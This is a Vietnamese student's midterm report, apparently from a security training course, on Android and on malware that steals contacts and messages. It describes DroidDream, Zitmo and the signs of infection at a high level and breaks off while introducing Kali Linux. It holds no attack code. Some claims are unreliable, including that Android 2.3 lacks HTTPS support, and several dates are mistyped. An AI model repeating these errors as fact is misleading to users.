50
LÊ TRN XUÂN LNH LỚP CNTT CA SÁNG 2-4-6 Trang 1 TRUNG TÂM ĐÀO TẠO QUN TRMNG VÀ AN NINH MNG QUC TATHENA BÀI BÁO CÁO GIA KÌ NGHIÊN CỨU CÁC TROJAN, MALWARE CHO PHÉP ĐÁNH CP DLIỆU NHƯ DANH SÁCH CONTACT, TIN NHẮN TRÊN ĐIỆN THOI SDNG ANDROID VÀ GI RA NGOÀI CBHD: Võ Đỗ Thng SVTT: Lê Trn Xuân Lnh

Bao cao giua ki

  • Upload
    le-lanh

  • View
    80

  • Download
    3

Embed Size (px)

Citation preview

Page 1: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 1

TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG VÀ AN NINH MẠNG QUỐC TẾ ATHENA

BÀI BÁO CÁO GIỮA KÌ

NGHIÊN CỨU CÁC TROJAN, MALWARE CHO PHÉP ĐÁNH

CẮP DỮ LIỆU NHƯ DANH SÁCH CONTACT, TIN NHẮN

TRÊN ĐIỆN THOẠI SỬ DỤNG ANDROID VÀ GỬI RA NGOÀI

CBHD: Võ Đỗ Thắng

SVTT: Lê Trân Xuân Lanh

Page 2: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 2

1. Giới thiệu về Android 1.1.Android là gì?

Android là một hệ điều hành dựa trên nền tảng Linux được thiết kế dành cho các thiết bị di động có màn hình cảm ứng như điện thoại thông minh và máy tính bảng. Android ra mắt vào năm 2007 cùng với tuyên bố thành lập Liên minh thiết bị câm tay mở: một hiệp hội gồm các công ty phân cứng, phân mềm, và viễn thông với mục tiêu đẩy mạnh các tiêu chuẩn mở cho các thiết bị di

động. Chiếc điện thoại đâu tiên chạy Android được bán vào tháng 10 năm 2008.

Android có ma nguồn mở và Google phát hành mã nguồn theo Giấy phép Apache. Chính mã nguồn mở cùng với một giấy phép không có nhiều ràng buộc đa cho phép các nhà phát triển thiết

bị, mạng di động và các lập trình viên nhiệt huyết được điều chỉnh và phân phối Android một cách tự do. Ngoài ra, Android còn có một cộng đồng lập trình viên đông đảo chuyên viết các ứng dụng để mở rộng chức năng của thiết bị, bằng một loại ngôn ngữ lập trình Java có sửa đổi. Vào

tháng 10 năm 2012, có khoảng 700.000 ứng dụng trên Android, và số lượt tải ứng dụng từ Google Play, cửa hàng ứng dụng chính của Android, ước tính khoảng 25 tỷ lượt.

Những yếu tố này đa giúp Android trở thành nền tảng điện thoại thông minh phổ biến nhất thế

giới, vượt qua Symbian vào quý 4 năm 2010, và được các công ty công nghệ lựa chọn khi họ cân một hệ điều hành không nặng nề, có khả năng tinh chỉnh, và giá rẻ chạy trên các thiết bị công

nghệ cao thay vì tạo dựng từ đâu. Kết quả là mặc dù được thiết kế để chạy trên điện thoại và máy tính bảng, Android đa xuất hiện trên TV, máy chơi game và các thiết bị điện tử khác. Bản chất mở của Android cũng khích lệ một đội ngũ đông đảo lập trình viên và những người đam mê sử dụng

ma nguồn mở để tạo ra những dự án do cộng đồng quản lý. Những dự án này bổ sung các tính năng cao cấp cho những người dùng thích tìm tòihoặc đưa Android vào các thiết bị ban đâu chạy hệ điều hành khác.

Android chiếm 75% thị phân điện thoại thông minh trên toàn thế giới vào thời điểm quý 3 năm 2012, với tổng cộng 500 triệu thiết bị đa được kích hoạt và 1,3 triệu lượt kích hoạt mỗi ngày. Sự thành công của hệ điều hành cũng khiến nó trở thành mục tiêu trong các vụ kiện liên quan đến

bằng phát minh, góp mặt trong cái gọi là "cuộc chiến điện thoại thông minh" giữa các công ty công nghệ.

1.2.Lịch sử phát triển Anroid

Tháng 7 năm 2005, Google mua lại Android, Inc., một công ty nhỏ mới thành lập có trụ sở ở Palo

Alto, California, Mỹ. Những nhà đồng sáng lập của Android chuyển sang làm việc tại Google

gồm có Andy Rubin (đồng sáng lập công ty Danger), Rich Miner (đồng sáng lập công ty Wildfire

Communications), Nick Sears (từng là phó chủ tịch của T-Mobile), và Chris White (trưởng nhóm

thiết kế và phát triển giao diện tại WebTV). Khi đó, có rất ít thông tin về các công việc của

Android, ngoại trừ việc họ đang phát triển phân mềm cho điện thoại di động. Điều này tạo những

tin đồn về việc Google có ý định bước vào thị trường điện thoại di động.

Page 3: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 3

Tại Google, nhóm do Rubin đứng đâu đa phát triển một nền tảng thiết bị di động dựa trên hạt

nhân Linux, được họ tiếp thị đến các nhà sản xuất thiết bị câm tay và các nhà mạng trên những

tiền đề về việc cung cấp một hệ thống mềm dẻo, có khả năng nâng cấp mở rộng cao.[cân dẫn

nguồn] Một số nguồn tin cho biết trước đó Google đa lên danh sách các thành phân phân cứng và

các đối tác phân mềm, đồng thời ra hiệu với các nhà mạng rằng họ sẵn sàng hợp tác ở nhiều cấp

độ khác nhau. Ngày càng nhiều suy đoán rằng Google sẽ tham gia thị trường điện thoại di động

xuất hiện trong tháng 12 năm 2006. Tin tức của BBC và Nhật báo phố Wall chú thích rằng

Google muốn đưa công nghệ tìm kiếm và các ứng dụng của họ vào điện thoại di động và họ đang

nỗ lực làm việc để thực hiện điều này. Các phương tiện truyền thông in và online cũng sớm có bài

viết về những tin đồn cho rằng Google đang phát triển một thiết bị câm tay mang thương hiệu

Google. Và lại càng có nhiều suy đoán sau bài viết về việc Google đang định nghĩa các đặc tả

công nghệ và trình diễn các mẫu thử với các nhà sản xuất điện thoại di động và nhà mạng.

1.3.Đặt điểm của Android

1.3.1. Tính mở

Android được xây dựng từ dưới đi lên cho phép người phát triển tạo các ứng dụng di động hấp

dẫn với đây đủ các điểm mạnh của các thiết bị câm tay hiện có. Android hoàn toàn mở, một ứng

dụng có thể gọi tới bất kể một chức năng lõi của điện thoại như tạo cuộc gọi, gửi tin nhắn hay sử

dụng máy ảnh, cho phép người phát triển tạo phong phú hơn, liên kết hơn các tính năng cho người

dùng. Android được xây dựng trên nhân Linux mở. Thêm nữa, nó sử dụng một máy ảo mà đa

được tối ưu hóa bộ nhớ và phân cứng với môi trường di động. Android mà một mã nguồn mở, nó

có thể được mở rộng để kết hợp tự do giữa các công nghệ nổi trội. Nền tảng này sẽ tiếp tục phát

triển bởi cộng đồng phát triển để tạo ra các ứng dụng di động hoàn hảo.

1.3.2. Tính ngang bằng của các ứng dụng.

Với Android, không có sự khác nhau giữa các ứng dụng điện thoại cơ bản với ứng dụng của bên

thứ ba. Chúng được xây dựng để truy cập như nhau tới một loạt các ứng dụng và dịch vụ của điện

thoại. Với các thiết bị được xây dựng trên nền tảng Android, người dùng có thể đáp ứng đây đủ

các nhu câu mà họ thích. Chúng ta có thể đổi màn hình nền, kiểu gọi điện thoại, hay bất kể

ứng dụng nào. Chúng ta thậm chí có thể hướng dẫn điện thoại chỉ xem những ảnh mình

thích.

1.3.3. Phá vỡ rào cản phát triển ứng dụng.

Android phá vỡ rào cản để tạo ứng dụng mới và cải tiến. Một người phát triển có thể kết hợp

thông tin từ trang web với dữ liệu trên điện thoại cá nhân – chẳng hạn như danh bạ, lịch hay vị trí

trên bản đồ – để cung cấp chính xác hơn cho người khác. Với Android, người phát triển có thể

xây dựng một ứng dụng mà cho phép người dùng xem vị trí của những người bạn và thông báo

khi họ đang ở vị trí lân cận. Tất cả được lập trình dễ dàng thông qua sự hỗ trợ của MapView và

dịch vụ định vị toàn câu GPS.

1.3.4. Xây dựng ứng dụng dễ dàng và nhanh chóng

Android cung cấp bộ thư viện giao diện lập trình ứng dụng đồ sộ và các công cụ để viết các ứng

dụng phức tạp. Ví dụ, Android có thể cho phép người phát triển biết được vị trí của thiết bị và cho

phép các thiết bị giao tiếp với nhau để có thể tạo nên mạng xã hội chia sẻ ngang hàng rộng khắp.

Thêm nữa, Android còn bao gồm một bộ công cụ đây đủ giúp cho việc phát triển trở nên dễ dàng.

Page 4: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 4

1.4.Các phiên bản của android

Lịch sử phiên bản của hệ điều hành di động Android bắt đâu với bản Android beta vào tháng 11

năm 2007. Phiên bản thương mại đâu tiên, Android 1.0, được phát hành vào tháng 9 năm 2008.

Android đang được phát triển bởi Google và Open Handset Alliance (OHA), và đa có một số bản

cập nhật cho hệ điều hành này kể từ khi ra mắt.

Từ tháng 4 2009, phiên bản Android được phát triển dưới tên mã là chủ đề bánh kẹo và phát hành

theo thứ tự bảng chữ cái: Cupcake (1.5), Donut (1.6), Eclair (2.0–2.1), Froyo (2.2–2.2.3),

Gingerbread (2.3–2.3.7), Honeycomb (3.0–3.2.6), Ice Cream Sandwich (4.0–4.0.4), Jelly Bean

(4.1–4.3), và KitKat (4.4). Vào 3 tháng 9 năm 2013, Google công bố rằng 1 tỉ thiết bị đa được

kích hoạt hiện sử dụng Android OS trên toàn câu. Bản cập nhật Android gân đây nhất là KitKat

4.4, nó được phát hành bản thương mại trên thiết bị 22 tháng 11 2013, thông qua cập nhật OTA.

Bảng thống kê các phiên bản và cập nhật của Android

Phiên bản API Tên Ngày phát hành

1.0 Cấp 1 23/9/ 2008

1.1 Cấp 2 9/2/2009

1.5 Cấp 3 Cupcake 30/4/2009

1.6 Cấp 4 Donut 15/9/2009

2.0 Cấp 5

Eclair

26/10/2009

2.0.1 Cấp 6 3/12/2009

2.1 Cấp 7 12/1/2010

2.2

Cấp 8 Froyo

20/5/2010

2.2.1 18/1/2011

2.2.2 22/1/2011

2.2.3 21/11/2011

2.3

Cấp 9 Gingerbread

6/12/2010

2.3.1 12/2010

2.3.2 1/2011

2.3.3

Cấp 10 Gingerbread

9/2/2011

2.3.4 28/4/2011

2.3.5 25/7/2011

2.3.6 2/9/2011

2.3.7 21/9/2011

3.0 Cấp 11

Honeycomb

22/2/2011

3.1 Cấp 12 10/5/2011

3.2

Cấp 13

15/7/2011

3.2.1 20/9/2011

3.2.2 30/8/2011

3.2.3

Page 5: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 5

3.2.4 12/2011

3.2.5 1/2012

3.2.6 2/1012

4.0

Cấp 14 Ice Cream

Sandwich

19/10/2011

4.0.1 21/10/2011

4.0.2 28/11/2011

4.0.3 Cấp 15

16/12/2011

4.0.4 29/3/2012

4.1

Cấp 16 Jelly Bean

9/7/2012

4.1.1 23/7/2012

4.1.2 9/10/2012

4.2

Cấp 17

13/11/2012

4.2.1 27/11/2012

4.2.2 11/2/2013

4.3 Cấp 18

24/7/1013

4.3.1 3/10/2013

4.4

Cấp 19 KitKat

31/10/2013

4.4.1 5/12/2013

4.4.2 9/12/2013

4.4.3 2/6/2014

4.4.4 19/6/2014

1.5.Tỷ lệ sử dụng các phiên bản android

Phân lớn các thiết bị Android cho tới nay vẫn chạy hệ điều hành phiên bản 4.1.x Jelly Bean được

phát hành ngày 9 tháng 7 năm 2012 nhờ tính ổn định và hỗ trợ tốt các máy có cấu hình thấp cùng

với các phiên bản 4.x khác. Bên cạnh đó các thiết bị Android vẫn còn sử dụng các phiên bản cũ

hơn là 2.3 Gingerbread phát hành ngày 6 tháng 12 năm 2010.

Tỷ lệ sử dụng các phiên bản khác nhau tính đến ngày 20 tháng 7 năm 2014

Page 6: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 6

1.6.So sánh android 2.3 (Gingerbread) và android 4.x (4.0 – Ice Cream Sandwich):

Android 2.3, tên ma là Gingerbread được phát hành vào ngày 6 tháng 12 năm 2010 và là một bản

nâng cấp của Android v2.2 Froyo. Các phiên bản 2.3 được thiết kế đặc biệt cho điện thoại thông minh,

nó được coi là một trong những phiên bản phổ biến nhất của Android cho điện thoại thông minh.

Ngoài bố trí đa có sẵn trên Froyo, công ty cung cấp các thay đổi như giao diện người dùng được cập

nhật, tăng tốc độ và sự đơn giản, hỗ trợ cho màn hình lớn hơn và độ phân giải cao, hỗ trợ cho hệ thống

điện thoại SIP VOIP, bàn phím ảo nhanh hơn và trực quan hơn, chức năng sao chép dán nâng cao, hỗ

trợ NFC, hiệu ứng âm thanh mới, quản lý download mới, hỗ trợ nhiều camera, hỗ trợ xem video

WebM/VP8 và AAC mã hóa âm thanh, cải thiện quản lý điện năng, chuyển từ YAFFS đến ext4 trên

các thiết bị mới hơn, âm thanh, đồ họa và cải tiến đâu vào cho các nhà phát triển trò chơi, đồng thời

thu gom rác thải và hỗ trợ cho các cảm biến nhiều hơn. Công ty cũng vận chuyển một cập nhật nhỏ

cho Gingerbread theo phiên bản 2.3.3-2.3.7. Những bản cập nhật được cung cấp tính năng mới như:

hỗ trợ cho giọng nói hoặc video chat, mở cửa phụ kiện hỗ trợ thư viện, cải tiến để ứng dụng gmail,

hình ảnh động bóng cho danh sách cuộn, cải tiến phân mềm máy ảnh và cải thiện hiệu quả pin.

Android 4.0 Ice Cream Sandwich đa được công khai phát hành vào ngày 19 Tháng 10 năm 2011. Các

Android 4.0 thật sự là một sự là một bản nâng cấp của 2.3 Gingerbread và được cung cấp một loạt

các tính năng mới. Android cũng đa có phiên bản 3.0, chỉ dành cho máy tính bảng. Phiên bản này về

cơ bản là một sự kết hợp của Android 2.3.x và Android 3.x. Công ty cung cấp các tính năng cập nhật

như: nút mềm, widgets, dễ dàng để tạo thư mục mới, cải thiện thư thoại trực quan, chức năng pinch-

to-zoom, chụp ảnh màn hình, bàn phím được cải thiện, khả năng truy cập các ứng dụng từ lockscreen,

tính năng mở khóa bằng nhận diện khuôn mặt, trình duyệt web theo thẻ, tự động đồng bộ hóa trình

duyệt chrome đánh dấu, kiểu chữ mới cho giao diện người dùng, cải thiện ứng dụng máy ảnh, được

xây dựng trong biên tập ảnh, bố trí bộ sưu tập mới, ứng dụng tích hợp với mạng xã hội, cập nhật trạng

Page 7: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 7

thái và hình ảnh hi-res, khả năng tương thích NFC, tăng tốc phân cứng, quản lý wifi và quay video

1080p

1.6.1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt

Android 2.3 Android 4.0

Cân ít nhất 128 MB bộ nhớ có sẵn cho Kernel và

cho không gian người sử dụng

Cân ít nhất 340 MB bộ nhớ có sẵn cho kernel và

cho không gian người sử dụng

Dung lượng Ram tối thiểu cân thiết là 150MB Dung lượng Ram tối thiểu cân thiết là 350 MB

Màn hình:

- Màn hình phải có kích cỡ ít nhất 2,5 inch

- Mật độ phải được ít nhất 100 dpi

- Tỉ lệ màn hình từ 1.333 (4:3) đến 1,779

(16:9)

- Công nghệ màn hình được sử dụng là

công nghệ “ Square pixels”

Màn hình:

- Màn hình phải có kích cỡ ít nhất

426x320

- Mật độ phải được ít nhất 100 dpi

- Tỉ lệ màn hình từ 1.333 (4:3) đến 1,85

(16:9)

Yêu câu có các phím vậy lý Không yêu câu có có phím vật lý

Các API Android bao gồm trình quản lý

download các ứng dụng có thể sử dụng để tải dữ

liệu.Trình quản lí download phải có khả năng tải

tập tin có dung lượng ít nhất 55 MB

Các API Android bao gồm trình quản lý

download các ứng dụng có thể sử dụng để tải dữ

liệu.Trình quản lí download phải có khả năng tải

tập tin có dung lượng ít nhất 100 MB

1.6.2. Sự khác nhau về giao diện

Giao diện người dùng của Android dựa trên nguyên tắc tác động trực tiếp, sử dụng cảm

ứng chạm tương tự như những động tác ngoài đời thực như vuốt, chạm, kéo dãn và thu lại để xử lý

các đối tượng trên màn hình. Sự phản ứng với tác động của người dùng diễn ra gân như ngay lập

tức, nhằm tạo ra giao diện cảm ứng mượt mà, thường dùng tính năng rung của thiết bị để tạo phản

hồi rung cho người dùng. Những thiết bị phân cứng bên trong như gia tốc kế, con quay hồi chuyển

và cảm biến khoảng cách được một số ứng dụng sử dụng để phản hồi một số hành động khác của

người dùng, ví dụ như điều chỉnh màn hình từ chế độ hiển thị dọc sang chế độ hiển thị ngang tùy

theo vị trí của thiết bị, hoặc cho phép người dùng lái xe đua bằng xoay thiết bị, giống như đang

điều khiển vô-lăng.

Các thiết bị Android sau khi khởi động sẽ hiển thị màn hình chính, điểm khởi đâu với các

thông tin chính trên thiết bị, tương tự như khái niệm desktop (bàn làm việc) trên máy tính để bàn.

Màn hính chính Android thường gồm nhiều biểu tượng (icon) và tiện ích (widget); biểu tượng ứng

Page 8: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 8

dụng sẽ mở ứng dụng tương ứng, còn tiện ích hiển thị những nội dung sống động, cập nhật tự động

như dự báo thời tiết, hộp thư của người dùng, hoặc những mẩu tin thời sự ngay trên màn hình

chính. Màn hình chính có thể gồm nhiều trang xem được bằng cách vuốt ra trước hoặc sau, mặc dù

giao diện màn hình chính của Android có thể tùy chỉnh ở mức cao, cho phép người dùng tự do sắp

đặt hình dáng cũng như hành vi của thiết bị theo sở thích. Những ứng dụng do các hãng thứ ba có

trên Google Play và các kho ứng dụng khác còn cho phép người dùng thay đổi "chủ đề" của màn

hình chính, thậm chí bắt chước hình dáng của hệ điều hành khác như Windows Phone chẳng

hạn.Phân lớn những nhà sản xuất, và một số nhà mạng, thực hiện thay đổi hình dáng và hành vi

của các thiết bị Android của họ để phân biệt với các hãng cạnh tranh.

Ở phía trên cùng màn hình là thanh trạng thái, hiển thị thông tin về thiết bị và tình trạng kết

nối. Thanh trạng thái này có thể "kéo" xuống để xem màn hình thông báo gồm thông tin quan

trọng hoặc cập nhật của các ứng dụng, như email hay tin nhắn SMS mới nhận, mà không làm gián

đoạn hoặc khiến người dùng cảm thấy bất tiện. Trong các phiên bản đời đâu, người dùng có thể

nhấn vào thông báo để mở ra ứng dụng tương ứng, về sau này các thông tin cập nhật được bổ sung

theo tính năng, như có khả năng lập tức gọi ngược lại khi có cuộc gọi nhỡ mà không cân phải mở

ứng dụng gọi điện ra. Thông báo sẽ luôn nằm đó cho đến khi người dùng đa đọc hoặc xóa nó đi.

Android 2.3 Android 4.0

Giao diện đơn giản Giao diện tinh tế hơn, trong suốt và đẹp mắt hơn

Chỉ hỗ trợ phím ảo là phím Home Hỗ trợ các phím ảo: Home, Back, Menu

Không có widget menu Có Widget menu giúp tìm nhanh thông tin mà

không cân mở ứng dụng

1.6.3. Sự khác nhau về tính năng

Android 2.3 Android 4.0

Thiết kế tối ưu hóa cho Smartphone Thiết kế tối ưu hóa cho Smartphone và Tablet

Chỉ có thể xóa tất các các thông báo cùng lúc

trên trình quản lý

Chỉ có thể xóa riêng rẽ các thông báo cùng lúc

trên trình quản lý

Chỉ có thể trả lời, ngắt cuộc gọi khi màn hình bị

khóa

Có thể thực hiện thêm 1 số tính năng khi màn

hình bị khoái ngoài trả lời , ngắt cuộc gọi như

Page 9: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 9

gửi tin nhắn

Không có tính năng mở khóa màn hình nhận

diện khuôn mặt

Có tính năng mở khóa màn hình nhận diện

khuôn mặt

Không hỗ trợ chỉnh sửa hình ảnh Hỗ trợ chỉnh sửa hình ảnh , tự động nhận diện

được tất cả các camera trên thiết bị

1.6.4. Sự khác nhau về giao thức mạng

Android 2.3 Android 4.0

Không hỗ trợ giao thức https Hỗ trợ giao thức https

2. Nghiên cứu về mã độc trong mỗi trường android 2.1.Malware là gì?

Malware (phân mềm độc hại) viết tắt của cụm từ Malicious Sofware, là một phân mềm máy tính

được thiết kế với mục đích thâm nhập hoặc gây hỏng hóc và thay đổi các thực thi của hệ điều

hành cũng như các chương trình ứng dụng mà không có sự cho phép của người dùng và bằng một

cách nào đó mà người dùng nếu không để ý cũng không thể phát hiện được những thay đổi đó.

Page 10: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 10

Phân mềm độc hại đa xuất hiện từ rất lâu trên những hệ điều hành máy tính như Windows, các

máy tính MAC và Linux (ở một mức độ thấp hơn), và bây giờ nó đa trở thành một mối nguy hại

không nhỏ cho các thiết bị di động chạy Android. Sự có mặt của Android khiến cho các phân

mềm độc hại thêm phân thích thú, tích cực tấn công hơn tới đông đảo người dùng Android. Nói

về vấn đề này, Timothy Armstrong, một chuyên gia bảo mật tại Kaspersky Lab, cho biết:

“Malware trên Android được phát hiện nhiều hơn hâu như mỗi ngày. Thời gian gân đây, chúng tôi

đa phát hiện ra ba nhà phát triển ứng dụng (mà có khi là từ cùng 1 người) với tên gọi

MYOURNET, Kingmall2010, we20092020 đa cung cấp các ứng dụng để tải về miễn phí trên

Android Market, mà hâu hết các ứng dụng đó đều chứa ma độc”.

Năm 2012 là năm thứ hai cho thấy sự bùng nổ của phân mềm độc hại cho Android. Từ tám

chương trình độc hại duy nhất vào tháng 1 năm 2011, tỷ lệ phát hiện trung bình hàng tháng phân

mềm độc hại mới tấn công vào Android trong năm 2011 đa lên đến hơn 800 mẫu. Trong năm

2012, Kaspersky Lab đa xác định trung bình 6.300 mẫu phân mềm độc hại trên thiết bị di động

mới mỗi tháng. Nhìn chung, trong năm 2012 số lượng mẫu độc hại cho Android được biết đến

nhiều tăng hơn tám lân.

2.2.Phân loại

Đa số các phân mềm độc hại Android có thể được chia thành ba nhóm chính dựa theo chức năng:

- SMS Trojans: bòn rút tài khoản di động của các nạn nhân bằng cách gửi tin nhắn SMS đến

các số điện thoại được đánh giá cao.

- Backdoors: cung cấp truy cập trái phép vào smartphone, cài đặt các chương trình độc hại

khác hoặc ăn cắp dữ liệu cá nhân của người dùng.

- Cuối cùng là các phân mềm gián điệp nhằm mục tiêu thu thập trái phép dữ liệu cá nhân,

chẳng hạn như sổ địa chỉ và mật khẩu (hoặc thậm chí hình ảnh cá nhân).

Page 11: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 11

Trong nửa đâu năm 2012, Backdoors, tin nhắn SMS, Trojans và phân mềm gián điệp chiếm 51%

các phân mềm độc hại cho Android mới được phát hiện. Trong bảng xếp hạng Top Ten phân

mềm độc hại cho Android đa bị chặn bởi Kaspersky Mobile Security hoặc Kaspersky Tablet

Security, SMS Trojans là phổ biến nhất và các ứng dụng hiển thị quảng cáo không mong muốn

cho người sử dụng ở vị trí thứ hai. Ít phổ biến rộng rai nhưng nguy hiểm nhất là Trojans ngân

hàng trên di động thường xuyên làm việc kết hợp với các máy tính để bàn, ví dụ như Carberp.

Nền tảng Android cho phép cài đặt phân mềm từ các nguồn không tin cậy, và là một trong những

cách tốt nhất để đảm bảo sự lây nhiễm từ việc cài đặt các chương trình từ những trang web đáng

ngờ. Tuy nhiên, phân mềm độc hại trên nền tảng phân phối ứng dụng chính thức Google Play là

một xu hướng bắt đâu vào năm 2011 và tiếp tục trong năm 2012, bất chấp những nỗ lực tốt nhất

của Google để làm giảm hoạt động tội phạm mạng. Một trong những ví dụ “khác thường” nhất

của phân mềm độc hại trên di động trong năm 2012 là "Find and Call", ứng dụng đa len lỏi được

vào Google Play cũng như kho ứng dụng của Apple.

2.3.Cơ chế hoạt động của Malware

Lấy một ví dụ cụ thể về 1 Malware rất phổ biến trong thời gian vừa qua đó là Malware

DroidDream. Malware này hoạt động qua 2 giai đoạn:

Giai đoạn đâu: DroidDream được nhúng vào trong một ứng dụng (số lượng ứng dụng

chứa Malware này hiện đa nhiều hơn 50 ứng dụng) và sẽ chiếm được quyền root vào thiết bị của

bạn ngay sau khi bạn chạy ứng dụng đó trong lân sử dụng đâu tiên.

Giai đoạn 2: Tự động cài đặt một ứng dụng thứ 2 với một giấy phép đặc biệt cho phép quyền

uninstall. Một khi các ứng dụng thứ 2 được cài đặt, nó có thể gửi các thông tin nhạy cảm

tới một máy chủ từ xa và âm thâm tải thêm các ứng dụng khác. Một khi DroidDream chiếm

được quyền root, Malware này sẽ chờ đợi và âm thâm cài đặt một ứng dụng thứ hai,

DownloadProviderManager.apk như một ứng dụng hệ thống. Việc cài đặt ứng dụng hệ thống

này nhằm ngăn ngừa người dùng xem hoặc gỡ bỏ cài đặt các ứng dụng mà không được phép.

Nghiên cứu cài đặt HĐH Android trên các thiết bị laptop, smartphone.Không giống như giai đoạn

đâu, người dùng phải khởi động ứng dụng để bắt đâu việc lây nhiễm, ở giai đoạn thứ 2 ứng

dụng tự động làm một số việc như là confirm, checkin….Một điều nữa khiến cho bạn không thể

biết chúng hoạt động lúc nào, đó là Malware DroidDream này được lập trình để làm hâu hết các

công việc của mình vào khoảng thời gian từ 11h đêm tới 8h sáng ngày hôm sau. Đây là khoảng

thời gian mà điện thoại ít có khả năng được sử dụng nhất. Điều này làm cho người dùng khó

khăn hơn trong việc phát hiện một hành vi bất thường trên chiếc smartphone của mình.

2.4.Mục đích của Malware DroidDream

DroidDream được coi là một trong những Malware đâu tiên trên Android, mục đích của

con DroidDream này mới chỉ dừng lại ở mức độ làm cho chiếc điện thoại của người dùng tự

động cài đặt những ứng dụng chứa ma độc khác. Tuy nhiên các biến thể của nó đa kịp thời biến

đổi để gây ra các mối nguy hại lớn hơn rất nhiều. Ví dụ như Hippo SMS có khả năng tự gửi tin

nhắn mà không cân sự cho phép của người dùng, việc này sẽ khiến tiền cước phí của người dùng

tăng lên một cách chóng mặt mà người dùng không biết rõ lí do tại sao. Hoặc một Malware khác

là Zitmo, Malware này đưa ra các ứng dụng kích hoạt mọi hành động liên quan đến dịch vụ ngân

hàng, tiếp nhận SMS gửi đến và chuyển tới máy chủ. Các đoạn code dùng 1 lân mà các ngân hàng

Page 12: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 12

thường gửi tới khách hàng thông qua tin nhắn SMS để chứng thực sẽ bị thu thập bởi các malware

này. Hiện nay còn có một số Malware còn có khả năng nghe lén tất cả các cuộc điện thoại. Vấn

đề này thực sự nguy hiểm khi tất cả các vấn đề riêng tư của chúng ta đang bị một theo dõi, vì

vậy những mối nguy hiểm từ ma độc trên android đang thực sự đe dọa đến an sự an toàn của

người dùng hệ điều hành này.

2.5.Dấu hiệu bị nhiễm các phần mềm độc hại

Cũng giống như trên máy tính, khi bị nhiễm malware, thiết bị Android của bạn sẽ có một số hành

động khác thường và bạn không thể thay đổi được bất kỳ điều gì.

- Sử dụng dữ liệu không rõ ràng: có rất nhiều phân mềm độc hại tồn tại để thu thập dữ liệu

về tài khoản, số thẻ tín dụng, danh bạ, vv... Một khi có được các thông tin này, nó sẽ tự

động được chuyển tiếp về cho người đa tạo ra nó. Và trong nhiều trường hợp, việc chuyển

giao thông tin này sẽ dẫn đến sự khác lạ trong sử dụng dữ liệu.

- Hiệu suất của thiết bị kém: tùy thuộc vào thời gian sử dụng và mức độ nghiêm trọng của

việc lây nhiễm mà hiệu suất điện thoại của bạn sẽ bị giảm đi nhiều hay ít, đặc biệt là khi

bạn đa khởi động lại thiết bị mà các vấn đề không được giảm bớt.

- Thời lượng pin bị giảm: do hâu hết các phân mềm độc hại đều được thiết kế để chạy nền

trong hệ thống, nên nó sẽ làm sụt giảm đáng kể thời lượng pin trên thiết bị của bạn.

3. Xâm nhập android qua mạng local 3.1.Giới thiệu về Kali Linux

Trong những năm qua BackTrack là hệ điều hành được sử dụng nhiều nhất bởi các chuyên gia

đánh giá bảo mật. BackTrack bắt đâu xuất hiện vào năm 2006 và trong 7 năm qua nó đa không

ngừng cải tiến để đạt được một vị trí nhất định trong cộng đồng bảo mật trên khắp toàn thế giới.

Vì vậy, ngày nay thật khó để tìm thấy một người nào đó quan tâm đến an toàn thông tin mà

chưa từng nghe về BackTrack.

Tháng 3 năm 2013, Offensive Security đa tiến thêm một bước mới khi công bố phiên bản tiến

hóa của hệ điều hành BackTrack, tên của nó là Kali (được xem như phiên bản BackTrack 6), Kali

là tên nữ thân của người Hindu, hàm ý sự biến đổi và khả năng hủy diệt hay có lẽ là tên một môn

võ thuật của người Philippine ...

Để qua một bên chuyện tên với tuổi, Kali Linux là một OS rất hữu ích đối với những chuyên

gia đánh giá bảo mật, một OS tập hợp và phân loại gân như tất cả các công cụ thiết yếu mà bất kỳ

một chuyên gia đánh giá bảo mật nào cũng cân sử dụng đến khi tác nghiệp.

- Ưu điểm và Nhược điểm: Đối với những người chưa biết BackTrack, nói một cách ngắn gọn BackTrack là một bản

phân phối Linux dựa trên nền tảng hệ điều hành Ubuntu, với nhiều công cụ bảo mật được phân

loại rõ ràng để sử dụng.

Page 13: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 13

3.1.1. Kali phát triển trên nền tảng hệ điều hành Debian

Điều này có nghĩa Kali có rất nhiều ưu điểm. Đâu tiên là các Repository (Kho lưu trữ phân

mềm) được đồng bộ hóa với các Repository của Debian nên có thể dễ dàng có được các bản cập

nhật vá lỗi bảo mật mới nhất và các cập nhật Repository. Duy trì cập nhật (up-to-date) đối với các

công cụ Penetration Test là một yêu câu vô cùng quan trọng.

Một lợi thế khác là mọi công cụ trong Kali đều tuân theo chính sách quản lý gói của Debian.

Điều này có vẻ không quan trọng nhưng nó đảm bảo rõ ràng về mặt cấu trúc hệ thống tổng thể, nó

cũng giúp cho chúng ta có thể dễ dàng hơn trong việc xem xét hoặc thay đổi mã nguồn của các

công cụ.

Một ưu điểm quan trọng trong Kali là nó đa cải tiến khả năng tương thích với kiến trúc ARM.

Từ khi Kali xuất hiện, nhiều phiên bản ấn tượng đa được tạo ra.

3.1.2. Hỗ trợ mạng không dây tốt hơn

Một trong những vấn đề được các nhà phát triển Kali chú trọng nhiều nhất, chính là sự hỗ trợ cho

một số lượng lớn phân cứng bên trong các thiết bị mạng không dây hay USB Dongles. Một yêu

